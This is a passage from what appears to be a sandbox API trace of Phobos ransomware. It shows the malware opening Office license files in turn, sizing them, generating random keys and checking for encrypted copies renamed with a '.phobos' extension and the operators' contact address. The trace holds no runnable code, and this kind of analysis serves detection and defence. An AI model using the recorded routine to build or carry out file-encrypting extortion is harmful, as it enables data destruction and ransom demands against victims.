dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.204] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.204] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11159) returned 1 [0153.204] CloseHandle (hObject=0x574) returned 1 [0153.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-pl.xrm-ms")) returned 0x220 [0153.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.205] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.205] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20973) returned 1 [0153.205] CloseHandle (hObject=0x574) returned 1 [0153.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-ppd.xrm-ms")) returned 0x220 [0153.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.206] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.206] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11608) returned 1 [0153.206] CloseHandle (hObject=0x574) returned 1 [0153.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-ul-oob.xrm-ms")) returned 0x220 [0153.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.207] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.207] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6866) returned 1 [0153.207] CloseHandle (hObject=0x574) returned 1 [0153.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ppd.xrm-ms")) returned 0x220 [0153.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.208] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.208] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11634) returned 1 [0153.208] CloseHandle (hObject=0x574) returned 1 [0153.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0153.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.209] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.209] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=9626) returned 1 [0153.209] CloseHandle (hObject=0x574) returned 1 [0153.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ul.xrm-ms")) returned 0x220 [0153.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ul.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.209] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.210] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10639) returned 1 [0153.210] CloseHandle (hObject=0x574) returned 1 [0153.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-pl.xrm-ms")) returned 0x220 [0153.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.210] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.211] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6801) returned 1 [0153.211] CloseHandle (hObject=0x574) returned 1 [0153.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ppd.xrm-ms")) returned 0x220 [0153.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.211] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.211] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.211] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.212] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11601) returned 1 [0153.212] CloseHandle (hObject=0x574) returned 1 [0153.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ul-oob.xrm-ms")) returned 0x220 [0153.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.212] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.212] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19946) returned 1 [0153.212] CloseHandle (hObject=0x574) returned 1 [0153.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ul-phn.xrm-ms")) returned 0x220 [0153.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.213] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.213] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11207) returned 1 [0153.213] CloseHandle (hObject=0x574) returned 1 [0153.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-pl.xrm-ms")) returned 0x220 [0153.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.214] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.214] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=21341) returned 1 [0153.214] CloseHandle (hObject=0x574) returned 1 [0153.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-ppd.xrm-ms")) returned 0x220 [0153.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.215] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.215] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11654) returned 1 [0153.215] CloseHandle (hObject=0x574) returned 1 [0153.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-ul-oob.xrm-ms")) returned 0x220 [0153.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.216] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.216] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11187) returned 1 [0153.216] CloseHandle (hObject=0x574) returned 1 [0153.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-pl.xrm-ms")) returned 0x220 [0153.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.223] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.224] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20850) returned 1 [0153.224] CloseHandle (hObject=0x574) returned 1 [0153.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-ppd.xrm-ms")) returned 0x220 [0153.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.224] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.225] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11633) returned 1 [0153.225] CloseHandle (hObject=0x574) returned 1 [0153.225] GetFileAttributesW 